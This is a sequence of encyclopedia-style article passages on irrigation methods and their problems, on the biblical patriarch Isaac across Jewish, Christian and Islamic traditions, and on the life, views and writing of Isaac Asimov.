              Drip Irrigation - A dripper in action
            

          


          Drip irrigation, also known as trickle irrigation, functions as its name suggests. Water is delivered at or near the root zone of plants, drop by drop. This method can be the most water-efficient method of irrigation, if managed properly, since evaporation and runoff are minimized. In modern agriculture, drip irrigation is often combined with plastic mulch, further reducing evaporation, and is also the means of delivery of fertilizer. The process is known as fertigation.


          
            [image: Drip Irrigation Layout and its parts]

            
              Drip Irrigation Layout and its parts
            

          


          Deep percolation, where water moves below the root zone, can occur if a drip system is operated for too long of a duration or if the delivery rate is too high. Drip irrigation methods range from very high-tech and computerized to low-tech and relatively labor-intensive. Lower water pressures are usually needed than for most other types of systems, with the exception of low energy centre pivot systems and surface irrigation systems, and the system can be designed for uniformity throughout a field or for precise water delivery to individual plants in a landscape containing a mix of plant species. Although it is difficult to regulate pressure on steep slopes, pressure compensating emitters are available, so the field does not have to be level. High-tech solutions involve precisely calibrated emitters located along lines of tubing that extend from a computerized set of valves. Both pressure regulation and filtration to remove particles are important. The tubes are usually black (or buried under soil or mulch) to prevent the growth of algae and to protect the polyethylene from degradation due to ultraviolet light. But drip irrigation can also be as low-tech as a porous clay vessel sunk into the soil and occasionally filled from a hose or bucket. Subsurface drip irrigation has been used successfully on lawns, but it is more expensive than a more traditional sprinkler system. Surface drip systems are not cost-effective (or aesthetically pleasing) for lawns and golf courses. In the past one of the main disadvantages of the subsurface drip irrigation (SDI) systems, when used for turf, was the fact of having to install the plastic lines very close to each other in the ground, therefore disrupting the turfgrass area. Recent technology developments on drip installers like the drip installer at New Mexico State University Arrow Head Centre, places the line underground and covers the slit leaving no soil exposed.


          


          Sprinkler irrigation


          
            [image: Sprinkler irrigation of blueberries in Plainville, New York]

            
              Sprinkler irrigation of blueberries in Plainville, New York
            

          


          In sprinkler or overhead irrigation, water is piped to one or more central locations within the field and distributed by overhead high-pressure sprinklers or guns. A system utilizing sprinklers, sprays, or guns mounted overhead on permanently installed risers is often referred to as a solid-set irrigation system. Higher pressure sprinklers that rotate are called rotors and are driven by a ball drive, gear drive, or impact mechanism. Rotors can be designed to rotate in a full or partial circle. Guns are similar to rotors, except that they generally operate at very high pressures of 40 to 130 lbf/in (275 to 900 kPa) and flows of 50 to 1200 US gal/min (3 to 76 L/s), usually with nozzle diameters in the range of 0.5 to 1.9 inches (10 to 50 mm). Guns are used not only for irrigation, but also for industrial applications such as dust suppression and logging.


          
            [image: A travelling sprinkler at Millets Farm Centre, Oxfordshire, UK]

            
              A travelling sprinkler at Millets Farm Centre, Oxfordshire, UK
            

          


          Sprinklers may also be mounted on moving platforms connected to the water source by a hose. Automatically moving wheeled systems known as traveling sprinklers may irrigate areas such as small farms, sports fields, parks, pastures, and cemeteries unattended. Most of these utilize a length of polyethylene tubing wound on a steel drum. As the tubing is wound on the drum powered by the irrigation water or a small gas engine, the sprinkler is pulled across the field. When the sprinkler arrives back at the reel the system shuts off. This type of system is known to most people as a "waterreel" traveling irrigation sprinkler and they are used extensively for dust suppression, irrigation, and land application of waste water. Other travelers use a flat rubber hose that is dragged along behind while the sprinkler platform is pulled by a cable. These cable-type travelers are definitely old technology and their use is limited in today's modern irrigation projects.


          


          Centre pivot irrigation


          
            [image: The hub of a center-pivot irrigation system.]

            
              The hub of a centre-pivot irrigation system.
            

          


          Centre pivot irrigation is a form of sprinkler irrigation consisting of several segments of pipe (usually galvanized steel or aluminium) joined together and supported by trusses, mounted on wheeled towers with sprinklers positioned along its length. The system moves in a circular pattern and is fed with water from the pivot point at the centre of the arc. These systems are common in parts of the United States where terrain is flat.


          
            [image: Center pivot with drop sprinklers. Photo by Gene Alexander, USDA Natural Resources Conservation Service.]

            
              Centre pivot with drop sprinklers. Photo by Gene Alexander, USDA Natural Resources Conservation Service.
            

          


          Most centre pivot systems now have drops hanging from a u-shaped pipe called a gooseneck attached at the top of the pipe with sprinkler heads that are positioned a few feet (at most) above the crop, thus limiting evaporative losses. Drops can also be used with drag hoses or bubblers that deposit the water directly on the ground between crops. The crops are planted in a circle to conform to the centre pivot. This type of system is known as LEPA ( Low Energy Precision Application). Originally, most centre pivots were water powered. These were replaced by hydraulic systems ( T-L Irrigation) and electric motor driven systems (Lindsay, Reinke, Valley, Zimmatic, Pierce, Grupo Chamartin. Most systems today are driven by an electric motor mounted low on each span. This drives a reduction gearbox and transverse driveshafts transmit power to another reduction gearbox mounted behind each wheel. Precision controls, some with GPS location and remote computer monitoring, are now available.


          
            [image: Wheel line irrigation system in Idaho. 2001. Photo by Joel McNee, USDA Natural Resources Conservation Service.]

            
              Wheel line irrigation system in Idaho. 2001. Photo by Joel McNee, USDA Natural Resources Conservation Service.
            

          


          


          Lateral move (side roll, wheel line) irrigation


          A series of pipes, each with a wheel of about 1.5 m diameter permanently affixed to its midpoint and sprinklers along its length, are coupled together at one edge of a field. Water is supplied at one end using a large hose. After sufficient water has been applied, the hose is removed and the remaining assembly rotated either by hand or with a purpose-built mechanism, so that the sprinklers move 10 m across the field. The hose is reconnected. The process is repeated until the opposite edge of the field is reached. This system is less expensive to install than a center pivot, but much more labor intensive to operate, and it is limited in the amount of water it can carry. Most systems utilize 4 or 5-inch (130mm) diameter aluminium pipe. One feature of a lateral move system is that it consists of sections that can be easily disconnected. They are most often used for small or oddly-shaped fields, such as those found in hilly or mountainous regions, or in regions where labor is inexpensive.


          


          Sub-irrigation


          Subirrigation also sometimes called seepage irrigation has been used for many years in field crops in areas with high water tables. It is a method of artificially raising the water table to allow the soil to be moistened from below the plants' root zone. Often those systems are located on permanent grasslands in lowlands or river valleys and combined with drainage infrastructure. A system of pumping stations, canals, weirs and gates allows it to increase or decrease the water level in a network of ditches and thereby control the water table.


          Sub-irrigation is also used in commercial greenhouse production, usually for potted plants. Water is delivered from below, absorbed upwards, and the excess collected for recycling. Typically, a solution of water and nutrients floods a container or flows through a trough for a short period of time, 10-20 minutes, and is then pumped back into a holding tank for reuse. Sub-irrigation in greenhouses requires fairly sophisticated, expensive equipment and management. Advantages are water and nutrient conservation, and labor-saving through lowered system maintenance and automation. It is similar in principle and action to subsurface drip irrigation.


          


          Manual irrigation using buckets or watering cans


          These systems have low requirements for infrastructure and technical equipment but need high labor inputs. Irrigation using watering cans is to be found for example in peri-urban agriculture around large cities in some African countries.


          


          Automatic, non-electric irrigation using buckets and ropes


          Besides the common manual watering by bucket, an automated, natural version of this also exist. Using plain polyester ropes combined with a prepared ground mixture can be used to water plants from a vessel filled with water. The ground mixture would need to be made depending on the plant itself, yet would mostly consist of black potting soil, vermiculite and perlite. This system would (with certain crops) allow you to save expenses as it does not consume any electricity and only little water (unlike sprinklers, water timers, ...). However, it may only be used with certain crops (probably mostly larger crops that do not need a humid environment; perhaps e.g. paprika's).


          


          Irrigation using stones to catch water from humid air


          In countries where at night, humid air sweeps the countryside, stones are used to catch water from the humid air by transpiration. This is for example practiced in the vineyards at Lanzarote.


          


          Dry terasses for irrigation and water distribution


          In subtropical countries as Mali and Senegal, a special type of terrassing (without flood irrigation or intent to flatten farming ground) is used. Here, a 'stairs' is made trough the use of ground level differences which helps to decrease water evaporation and also distributes the water to all patches (sort of irrigation).


          How an in-ground irrigation system works


          Most commercial and residential irrigation systems are " in ground" systems, which means that everything is buried in the ground. With the pipes, sprinklers, and irrigation valves being hidden, it makes for a cleaner, more presentable landscape without garden hoses or other items having to be moved around manually.


          


          Controllers, zones, and valves


          Most Irrigation systems are divided into zones. A zone is a single Irrigation Valve and one or a group of sprinklers that are connected by pipes. Irrigation Systems are divided into zones because there is usually not enough pressure and available flow to run sprinklers for an entire yard or sports field at once. Each zone has a solenoid valve on it that is controlled via wire by an Irrigation Controller. The Irrigation Controller is either a mechanical or electrical device that signals a zone to turn on at a specific time and keeps it on for a specified amount of time. "Smart Controller" is a recent term used to describe a controller that is capable of adjusting the watering time by itself in response to current environmental conditions. The smart controller determines current conditions by means of historic weather data for the local area, a moisture sensor (water potential or water content), weather station, or a combination of these.


          


          Sprinklers


          When a zone comes on, the water flows through the lateral lines and ultimately ends up at the irrigation Sprinkler heads. Most sprinklers have pipe thread inlets on the bottom of them which allows a fitting and the pipe to be attached to them. The sprinklers are usually installed with the top of the head flush with the ground surface. When the water is pressurized, the head will pop up out of the ground and water the desired area until the valve closes and shuts off that zone. Once there is no more water pressure in the lateral line, the sprinkler head will retract back into the ground.


          


          Problems in irrigation


          
            	Competition for surface water rights.


            	Depletion of underground aquifers.


            	Ground subsidence (e.g. New Orleans, Louisiana)


            	Increased soil salinity with consequent build up of toxic salts on soil surface in areas with high evaporation. This requires either leaching to remove these salts and a method of drainage to carry the salts away or use of mulch to minimize evaporation.


            	Overirrigation because of poor distribution uniformity or management wastes water, chemicals, and may lead to water pollution.


            	Deep drainage (from over-irrigation) may result in rising water tables which in some instances will lead to problems of irrigation salinity.
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          Isaac or Yitzchak (Hebrew: יִצְחָק, Standard Yiẓḥaq Tiberian Yiṣḥāq; Arabic: إسحٰق, ʾIsḥāq; "he will laugh") was the only son of Abraham and Sarah, and the father of Jacob and Esau as described in the Hebrew Bible. His story is told in the Book of Genesis. Isaac was the longest-lived of the patriarchs, and the only biblical patriarch whose name was not changed. Isaac was the only patriarch who did not leave Canaan, although he once tried to leave and God told him not to do so. Compared to other patriarchs in the Bible, his story is less colorful, relating few incidents of his life.


          The New Testament contains few references to Isaac. The early Christian church viewed Abraham's willingness to follow God's command to sacrifice Isaac as an example of faith and obedience.


          Isaac is a prophet in Islam. A few narratives of Isaac appear in the Qur'an. The Qur'an views Isaac as a righteous man, servant of God and the father of Jews. The Qur'an states that Isaac and his progeny are blessed as long as they uphold their covenant with God. Some early Muslims believed that Isaac was the son who was supposed to be sacrificed by Abraham.


          Some academic scholars have described Isaac as "a legendary figure" while others view him "as a figure representing tribal history, though as a historical individual" or "as a seminomadic leader, or as the founder of a cult."


          


          Etymology and meaning


          The English name Isaac is a translation of the Hebrew term Yiṣḥāq which literally means "may God smile." The term conforms to a well-known Northwest Semitic linguist type, but is not known from elsewhere. As mentioned the term literally means "may God smile", and the Ugaritic texts from thirteenth century BCE refer to the benovolent smile of the Canaanite god El. The Bible(i.e. the canonical collections of sacred writings of Judaism), however, ascribes the laugher to be Isaac's mother( Sarah) rather than the Canaanite god El. The reason for Sarah's laughing, according to the Bible, was that God gave the news of the birth of Isaac to his parents. Since they were beyond the age of having children, they privately laughed at the prediction.


          


          Hebrew Bible


          Isaac is mentioned by name more than 70 times in the book of Genesis but only mentioned 33 times elsewhere. The phrase "Abraham, Isaac, and Jacob" occurs 23 times in the Hebrew Bible. Chapters 17-28 of the book of Genesis contain the stories of Isaac. Historians and academics in the fields of linguistics and source criticism believe that the stories of Isaac largely belong to the J, or Yahwist source (See Documentary hypothesis). The beginnings of Genesis 17:15-27 and the end from Genesis 27:46 to Genesis 28:9 is however believed to belong to the P, or Priestly source while Genesis 21:1-7 and Genesis 22:1-19 is considered to be the E, or Elohist source.


          
            	The account of the life of Isaac according to the Hebrew Bible

          


          God gave the news of the birth of Isaac to Abraham and Sarah. Sarah was beyond the age of having children and privately laughed at the prediction. When the child was born, she said "God had made me to laugh, so that all that hear will laugh with me". Isaac was the only child that Abraham and Sarah had together. Sarah saw Ishmael mocking Isaac and urged her husband to banish Hagar and her child so that Isaac would be the only heir of Abraham. Abraham was hesitant but at God's order he listened to his wife's request.


          Abraham circumcised his son Isaac when the boy was eight days old. According to the book of Genesis, a great feast was held for his being weaned.
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          Several years later, God tested Abraham by commanding him to sacrifice his son. Abraham obeyed and took Isaac to the mount Moriah. Without murmuring, Isaac let Abraham bind him and lay him upon the altar as a sacrifice. Abraham took the knife and raised his hand to kill his son. At the last minute, an angel of the Lord prevented him from doing so. Instead of Isaac, Abraham sacrificed a ram that was trapped in a thicket nearby.
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          When Isaac was forty years of age, Abraham sent Eliezer, his steward, into Mesopotamia to find a wife for him, from Bethuel, his brother-in-law's family. Rebekah was sent and became the wife of Isaac. She was barren, so Isaac prayed for her and God granted her the favour of conception. She gave birth to twin boys, Esau and Jacob. Isaac favoured Esau, and Rebekah Jacob.


          Some years afterward, a famine obliged Isaac to move to Gerar, where Abimelech was king; and, as his father had done under similar circumstances, he referred to Rebekah as his sister. Abimelech, having discovered that she was his wife, reproved him for the deception.


          As Isaac grew very rich and his flocks multiplied, the Philistines of Gerar became so envious that they filled up all the wells which Isaac's servants had dug. At the desire of Abimelech he departed and pitched his tent in the valley of Gerar where he dug new wells, but was again put to some difficulties. At length, he returned to Beersheba where he fixed his habitation. Here the Lord appeared to him, and renewed the promise of blessing him. Also Abimelech visited him to form an alliance.


          Isaac grew very old (137 years) and became completely blind. He called Esau, his eldest son, and directed him to procure some venison for him. But while Esau was hunting, Jacob sneakily misrepresented himself as Esau to his blind father as obtained his father's blessing, making Isaac Abraham's primary heir, and leaving Esau in an inferior position. Isaac lived some time after this, and sent Jacob into Mesopotamia to take a wife of his own family.


          


          Jewish traditions


          In Rabannical traditions the age of Isaac at the time of binding is taken to be 37 which contrasts with common portrayals of Isaac as a child. The Rabbis also taught that the reason for the death of Sarah was the news of intended sacrifice of Isaac. The sacrifice of Isaac was cited in appeals for the mercy of God in the later Jewish traditions. The post-biblical Jewish interpretations often elaborate the role of Isaac beyond the biblical description and largely focus on Abraham's intended sacrifice of Isaac, called the aqedah("binding"). According to a version of these interpretations, Isaac died in the sacrifice and was revived. According to Many accounts of Haggadah, unlike the Bible, it is Satan who is testing Isaac and not God. Isaac's willingness to follow God's command at the cost of his death has been a model for many Jews who preferred matrydom to violation of the Jewish law.


          According to the Jewish tradition Isaac instituted the afternoon prayer. This tradition is based on Genesis 24:63 ("Isaac went out to mediate in the field at the eventide")


          Isaac was the only patriarch who stayed in Canaan during his whole life and though once he tried to leave, God told he not to do so( Genesis 26:2). Rabannic tradition gave the explanation that Isaac was almost sacrificed and anything dedicated as a sacrifice may not leave the Land of Israel. Isaac is the longest-lived of the patriarchs, and the only biblical patriarch whose name was not changed.


          Rabbinical literature also linked Isaac's blindness in old age as stated in the Bible to the sacrificial binding: Isaac's eyes went blind because the tears of angels present at the time of his sacrifice fell on Isaac's eyes.


          


          New Testament


          The New Testament contains few references to Isaac. There are references to Isaac having been "offered up" by his father, and to his blessing his sons. Paul contrasted Isaac (symbolizing Christianity) with the rejected older son Ishmael (symbolizing Judaism); (see Galatians 4:21-30).In Galatians 4:28-31, Hagar is associated with the Sinai covenant, while Sarah is associated with the covenant of grace (into which her son Isaac enters). James 2:21-24 argues that the sacrifice of Isaac shows that justification requires both faith and works.


          In the early Christian church, Abraham's willingness to follow God's command to sacrifice Isaac was used as an example of faith (Hebrews 11:17) and of obedience (James 2:21). While the epistle to the Hebrews views the release of Isaac from sacrifice as analogous to the resurrection of Jesus, the idea of the sacrifice of Isaac being a prefigure of sacrifice of Jesus on the cross dates back to the end of first Christian century. It first appeared in the apocryphal epistle of Barnabas and later became an important theme for many renowned artists.


          


          Qur'an


          Isaac is a prophet in Islam mentioned in the Qur'an. His name appears in 15 passages of the Qur'an. Like many other ancient prophets, the Qur'anic references to Isaac assume the audience is already familiar with him and his stories. There is little narrative of Isaac in the Qur'an. The Qur'an states that Isaac was given to Sarah, when she and her husband Abraham were both old (see [Qur'an 11:70]). In verse [Qur'an 37:112], God gives Abraham the good news of the birth of Isaac "a prophet, one of the Righteous." Verses [Qur'an 11:71] provide a fuller version of the story: The messengers of God who were sent against the people of Lut came to Abraham. Abraham's wife (Sarah) "laughed: But we gave her glad tidings of Isaac, and after him, of Jacob." Watt states that there are several verses of the Qur'an talking about Isaac and Jacob being given to Abraham ([Qur'an 6:84]; [Qur'an 19: 49]; [Qur'an 21:72]), and [Qur'an 29:27] adds that God made prophethood and the Book to be among his offspring (see also [Qur'an 38:45]). The formula "We gave Abraham Isaac and Jacob" has been "thought by some scholars to demonstrate that in the early revelations Jacob was considered to be a son of Abraham and not his grandson." In verse, [Qur'an 14:39], Isaac and Ishmael are joined together and "Abraham praises God for giving him the two although he was old." In other instances Isaac's names occurs in the lists (see [Qur'an 12:38], [Qur'an 2:127], [Qur'an 4:161])


          The Qur'an states that Abraham was commanded to sacrifice his son. The son is not however named in the Qur'an(see [Qur'an 37:99]) and in early Islam, there was a fierce controversy over the identity of the son. However the belief that it was Ishmael prevailed later and it was fully endorsed by the Muslim scholars. The argument of those early scholars who believed in the Isaac theory (notably Ibn Ḳutayba, and al-Ṭabarī) was that "God's perfecting his mercy on Abraham and Isaac (in [Qur'an 12:6]) referred to his making Abraham his friend and saving him from the burning bush and to his rescuing Isaac. The other party held that the promise to Sarah of Isaac followed by Jacob ([Qur'an 11:71]) excluded the possibility of a sacrifice of Isaac." The early controversy was more concerned with Persian than Jewish rivalry from the Arabs, since the Persians claimed to be of descendents of Isaac. Al-Masudi for example reports a Persian poet (902 CE) who boasted to be superior to the Arabs because of descent from Isaac.


          


          Academic view


          Some scholars have described Isaac as "a legendary figure" while others view him "as a figure representing tribal history, though as a historical individual" or "as a seminomadic leader, or as the founder of a cult."


          The stories of Isaac, like other patriarchal stories of Genesis, are generally believed in western scholarship to have "their origin in folk memories and oral traditions of the early Hebrew pastoralist experience." According to Martin Noth, a renowned scholar of the Hebrew Bible, the narratives of Isaac date back to an older cultural stage than that of the West-Jordanian Jacob. At that era, the Israelite tribes were not yet sedentary. In the course of looking for grazing areas, they had come in contact in southern Palestine with the inhabitants of the settled countryside. The biblical historian A. Jopsen believes in the connection between the Isaac traditions and the North and in support of this theory adduces Amos 7:9 ("the high places of Isaac").


          Distinguished biblical historians Albrecht Alt and Martin Noth hold that "The figure of Isaac was enhanced when the theme of promise, previously bound to the cults of the 'God the Fathers' was incorporated into the Israelite creed during the southern-Palestinian stage of the growth of the Pentateuch tradition." According to Martin Noth, at the southern-Palestinian stage of the growth of the Pentateuch tradition, Isaac became established as one of the biblical patriarchs, however his traditions were receded in the favour of Abraham.


          


          Testament


          The Testament of Isaac is a pseudonymous text which was most likely composed in Greek in Egypt after 100 C.E. It is also dependent on the Testament of Abraham. In this testament, God sends the angel Michael to Isaac in order to inform him of his impending death. Isaac accepts God's decree but Jacob resists. Isaac in his bed-chamber tells Jacob of the inevitability of death. Isaac has a tour to heaven and hell shortly before his death in which God's compassion to repentant sinners is emphasized. In this testament, Isaac also talks with the crowds on the subjects of priesthood, asceticism, and the moral life.


          


          Isaac in Art


          The earliest Christian portrayal of Isaac is found in the Roman catacomb frescoes. Excluding the fragments, Alison Moore Smith classifies these artistic works in three categories:


          
            "paintings showing the approach to the Sacrifice in which Abraham leads Isaac, bearing faggots, towards the altar; or Isaac approaches with the bundle of sticks, Abraham having preceded him to the place of offering...[paintings in which] Abraham is upon a pedestal and Isaac stands near at hand, both figures in orant attitude...[paintings in which] Abraham is shown about to sacrifice Isaac while the latter stands or kneels on the ground beside the altar. Sometimes Abraham grasps Isaac by the hair. Occasionally the ram is added to the scene and in the later paintings the Hand of God emerges from above"
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          Isaac Asimov (c. January 2, 1920  April 6, 1992), pronounced /ˈaɪzək ˈzɪmʌv/, originally Исаак Озимов but now transcribed into Russian as Айзек Азимов, was a Russian-born American author and professor of biochemistry, a highly successful writer, best known for his works of science fiction and for his popular science books. Most of Asimov's popularized science books explain scientific concepts in a historical way, going as far back as possible to a time when the science in question was at its simplest stage. He often provides nationalities, birth dates, and death dates for the scientists he mentions, as well as etymologies and pronunciation guides for technical terms. Examples include his Guide to Science, the three volume set Understanding Physics, and Asimov's Chronology of Science and Discovery.


          Asimov was one of the most prolific writers of all time, having written or edited more than 500 books and an estimated 9,000 letters and postcards. His works have been published in nine of the ten major categories of the Dewey Decimal System (the sole exception being the 100s, Philosophy).


          Asimov is widely considered a master of the science-fiction genre and, along with Robert A. Heinlein and Arthur C. Clarke, was considered one of the "Big Three" science-fiction writers during his lifetime. Asimov's most famous work is the Foundation Series; his other major series are the Galactic Empire series and the Robot series, both of which he later tied into the same fictional universe as the Foundation Series to create a unified " future history" for his stories much like those pioneered by Robert A. Heinlein and previously produced by Cordwainer Smith and Poul Anderson. He penned numerous short stories, among them " Nightfall", which in 1964 was voted by the Science Fiction Writers of America the best short science fiction story of all time, a title many still honour. He also wrote mysteries and fantasy, as well as a great amount of nonfiction. Asimov wrote the Lucky Starr series of juvenile science-fiction novels using the pen name Paul French.


          Asimov was a long-time member and Vice President of Mensa International, albeit reluctantly; he described some members of that organization as "brain-proud and aggressive about their IQs". He took more joy in being president of the American Humanist Association. The asteroid 5020 Asimov, the magazine Asimov's Science Fiction, a Brooklyn, NY elementary school, and two different Isaac Asimov Awards are named in his honour.


          


          


          Biography


          Asimov was born sometime between October 4, 1919 and January 2, 1920 in Petrovichi in Smolensk Oblast, RSFSR (now Russia) to Anna Rachel Berman Asimov and Judah Asimov, a Jewish family of millers. His exact date of birth is uncertain because of differences in the Gregorian and Hebrew calendars and a lack of records. Asimov himself celebrated it on January 2nd. The family name derives from озимые (ozimiye), a Russian word for a winter grain in which his great-grandfather dealt, to which a patronymic suffix was added.


          His family immigrated to the United States when he was three years old. Since his parents always spoke Yiddish and English with him, he never learned Russian. Growing up in Brooklyn, New York, Asimov taught himself to read at the age of five, and remained fluent in Yiddish as well as English. His parents owned a succession of candy stores, and everyone in the family was expected to work in them.


          Science fiction pulp magazines were sold in the stores, and he began reading them. Around the age of eleven, he began to write his own stories, and by age nineteen, having discovered science fiction fandom, he was selling them to the science fiction magazines. John W. Campbell, then editor of Astounding Science Fiction, was a strong formative influence and eventually became a personal friend.


          Asimov attended New York City Public Schools, including Boys' High School, in Brooklyn, New York. From there he went on to Columbia University, from which he graduated in 1939, eventually returning to earn a Ph.D. in biochemistry in 1948. In between, he spent three years during World War II working as a civilian at the Philadelphia Navy Yard's Naval Air Experimental Station. After the war ended, he was drafted into the U.S. Army, serving for just under nine months before receiving an honorable discharge. In the course of his brief military career, he rose to the rank of corporal on the basis of his typing skills, and narrowly avoided participating in the 1946 atomic bomb tests at Bikini Atoll.
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          After completing his doctorate, Asimov joined the faculty of the Boston University School of Medicine, with which he remained associated thereafter. From 1958, this was in a non-teaching capacity, as he turned to writing full-time (his writing income had already exceeded his academic salary). Being tenured meant that he retained the title of associate professor, and in 1979 the university honored his writing by promoting him to full professor of biochemistry. Asimov's personal papers from 1965 are archived at the university's Mugar Memorial Library, to which he donated them at the request of curator Howard Gottlieb. The collection fills 464 boxes, on seventy-one metres of shelf space.


          Asimov married Gertrude Blugerman (1917, Canada1990, Boston) on July 26, 1942. They had two children, David (b. 1951) and Robyn Joan (b. 1955). After a separation in 1970, he and Gertrude divorced in 1973, and Asimov married Janet O. Jeppson later that year.


          Asimov was a claustrophile; he enjoyed small, enclosed spaces. In the first volume of his autobiography, he recalls a childhood desire to own a magazine stand in a New York City Subway station, within which he could enclose himself and listen to the rumble of passing trains while reading.


          Asimov was afraid of flying, only doing so twice in his entire life (once in the course of his work at the Naval Air Experimental Station, and once returning home from the army base in Oahu in 1946). He seldom traveled great distances, partly because his aversion to aircraft complicated the logistics of long-distance travel. This phobia influenced several of his fiction works, such as the Wendell Urth mystery stories and the Robot novels featuring Elijah Baley. In his later years, he found he enjoyed traveling on cruise ships, and on several occasions he became part of the cruises' "entertainment," giving science-themed talks on ships such as the RMS Queen Elizabeth 2. Asimov was an able public speaker, and enjoyed speaking.


          Asimov was a frequent fixture at science fiction conventions, where he remained friendly and approachable. He patiently answered tens of thousands of questions and other mail with postcards, and was pleased to give autographs.


          He was of medium height, stocky, with muttonchop whiskers and a distinct Brooklyn accent. His physical dexterity was very poor. He never learned to swim or ride a bicycle; however, he did learn to drive a car after he moved to Boston. In his humor book Asimov Laughs Again, he describes Boston driving as "anarchy on wheels."


          Asimov's wide interests included his participation in his later years in organizations devoted to the operettas of Gilbert and Sullivan and in The Wolfe Pack , a group of devotees of the Nero Wolfe mysteries written by Rex Stout. He was a prominent member of the Baker Street Irregulars, the leading Sherlock Holmes society. From 1985 until his death in 1992, he was president of the American Humanist Association; his successor was his friend and fellow writer Kurt Vonnegut. He was also a close friend of Star Trek creator Gene Roddenberry, and earned a screen credit on Star Trek: The Motion Picture for advice he gave during production (generally, confirming to Paramount Pictures that Roddenberry's ideas were legitimate science-fictional extrapolation).


          Asimov died on April 6, 1992. He was survived by his second wife, Janet, and his children from his first marriage. Ten years after his death, Janet Asimov's edition of Asimov's autobiography, It's Been a Good Life, revealed that his death was caused by AIDS; he had contracted HIV from a blood transfusion received during a heart bypass operation in December 1983. The specific cause of death was heart and renal failure as complications of HIV infection. Janet Asimov wrote in the epilogue of It's Been a Good Life that Asimov had wanted to "go public," but his doctors convinced him to remain silent, warning that anti-AIDS prejudice would extend to his family members. Asimov's family considered disclosing his condition after he died, but the controversy which erupted when Arthur Ashe announced his own AIDS infection convinced them otherwise. Ten years later, after Asimov's doctors had died, Janet and Robyn agreed that the AIDS story could be made public.


          


          Intellectual positions


          Isaac Asimov was a Humanist and a rationalist. He did not oppose religious conviction in others, but he frequently railed against superstitious and pseudoscientific beliefs that tried to pass themselves off as genuine science. During his childhood, his father and mother observed Orthodox Jewish traditions, though not as stringently as they had in Petrovichi; they did not, however, force their beliefs upon young Isaac. Thus he grew up without strong religious influences, coming to believe that the Bible represented Hebrew mythology in the same way that the Iliad recorded Greek mythology (for a brief while his father worked in the local synagogue to enjoy the familiar surroundings and "shine as a learned scholar" versed in the sacred writings. This experience had little effect upon Isaac beyond teaching him the Hebrew alphabet). For many years, Asimov called himself an atheist; however, he considered the term somewhat inadequate, as it described what he did not believe rather than what he did. Eventually, he described himself as a " humanist" and considered that term more practical.


          In his last autobiography, Asimov wrote, "If I were not an atheist, I would believe in a God who would choose to save people on the basis of the totality of their lives and not the pattern of their words. I think he would prefer an honest and righteous atheist to a TV preacher whose every word is God, God, God, and whose every deed is foul, foul, foul." The same memoir states his belief that Hell is "the drooling dream of a sadist" crudely affixed to an all-merciful God; if even human governments were willing to curtail cruel and unusual punishments, wondered Asimov, why would punishment in the afterlife not be restricted to a limited term? Asimov rejected the idea that a human belief or action could merit infinite punishment. If an afterlife of just deserts existed, he claimed, the longest and most severe punishment would be reserved for those who "slandered God by inventing Hell". As his Treasury of Humor and Asimov Laughs Again record, he was willing to tell jokes involving the Judeo-Christian God, Satan, the Garden of Eden, and other religious topics, expressing the viewpoint that a good joke can do more to provoke thought than hours of philosophical discussion.


          Asimov became a staunch supporter of the Democratic Party during the New Deal, and thereafter remained a political liberal. He was a vocal opponent of the Vietnam War in the 1960s and, in a television interview during the early 1970s, he publicly endorsed George McGovern. He was unhappy about what he considered an "irrationalist" viewpoint taken by many liberal political activists from the late 1960s and onwards. In his autobiography In Joy Still Felt, he recalls meeting the counterculture figure Abbie Hoffman; Asimov's impression was that the 1960s' counterculture heroes had ridden an emotional wave which, in the end, left them stranded in a "no-man's land of the spirit" from which he wondered if they would ever return (this attitude is echoed by The Wave Speech in Hunter S. Thompson's Fear and Loathing in Las Vegas). His defense of civil applications of nuclear power even after the Three Mile Island incident damaged his relations with some of his fellow liberals. In a letter reprinted in Yours, Isaac Asimov, he states that although he would prefer living in "no danger whatsoever" than near a nuclear reactor, he would still prefer a home near a nuclear power plant than in a slum on Love Canal or near "a Union Carbide plant producing methyl isocyanate" (referring to the Bhopal disaster). He issued many appeals for population control, reflecting a perspective articulated by people from Thomas Malthus through Paul R. Ehrlich. Asimov considered himself a feminist even before Women's Liberation became a widespread movement; he joked that he wished women to be free "because I hate it when they charge". More seriously, he argued that the issue of women's rights was closely connected to that of population control. Furthermore, he believed that homosexuality must be considered a "moral right" on population grounds, as must all consenting adult sexual activity that does not lead to reproduction (Yours, Isaac Asimov).


          In the closing years of his life, Asimov blamed the deterioration of the quality of life that he perceived in New York City on the shrinking tax base caused by middle class flight to the suburbs. His last non-fiction book, Our Angry Earth (1991, co-written with his long-time friend science fiction author Frederik Pohl), deals with elements of the environmental crisis such as global warming and the destruction of the ozone layer.


          


          Writing


          


          Overview
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          Asimov's career can be divided into several time periods. His early career, dominated by science fiction, began with short stories in 1939 and novels in 1950. This lasted until about 1958, all but ending after publication of The Naked Sun. He began publishing nonfiction in 1952, co-authoring a college-level textbook called Biochemistry and Human Metabolism. Following the brief orbit of the first man-made satellite Sputnik I by the USSR in 1957, his production of nonfiction, particularly popular science books, greatly increased, with a consequent drop in his science fiction output. Over the next quarter century, he wrote only four science fiction novels. Starting in 1982, the second half of his science fiction career began with the publication of Foundation's Edge. From then until his death, Asimov published several more sequels and prequels to his existing novels, tying them together in a way he had not originally anticipated, making a unified series. There are however many inconsistencies in this unification, especially in his earlier stories.


          Asimov believed that his most enduring contributions would be his "Three Laws of Robotics" and the Foundation Series (see Yours, Isaac Asimov, p. 329). Furthermore, the Oxford English Dictionary credits his science fiction for introducing the words positronic (an entirely fictional technology), psychohistory (frequently used in a different sense than the imaginary one Asimov employed) and robotics into the English language. Asimov coined the term robotics without suspecting that it might be an original word; at the time, he believed it was simply the natural analogue of mechanics, hydraulics, and so forth. (The original word robot derives from the Czech word for "forced labor", robotovat, robota and was first employed by the playwright Karel Čapek in R.U.R. [Rossum's Universal Robots].) Unlike his word psychohistory, the word robotics continues in mainstream technical use with Asimov's original definition. Star Trek: The Next Generation featured androids with " positronic brains", namely Data, Lore, Lal, and B-4 , giving Asimov full credit for 'inventing' this fictional technology. Ironically (or, given Asimov's sense of humor, perhaps not so ironically), Asimov disliked the word " positron" as the term for the electron's antiparticle. As he explained in the nonfiction work "Atom: Journey across the Subatomic Cosmos," the proper suffix is "-on," as in proton and muon, not "-ron," as in electron and neutron, these two terms inheriting their r's from their root words.


          


          Science fiction


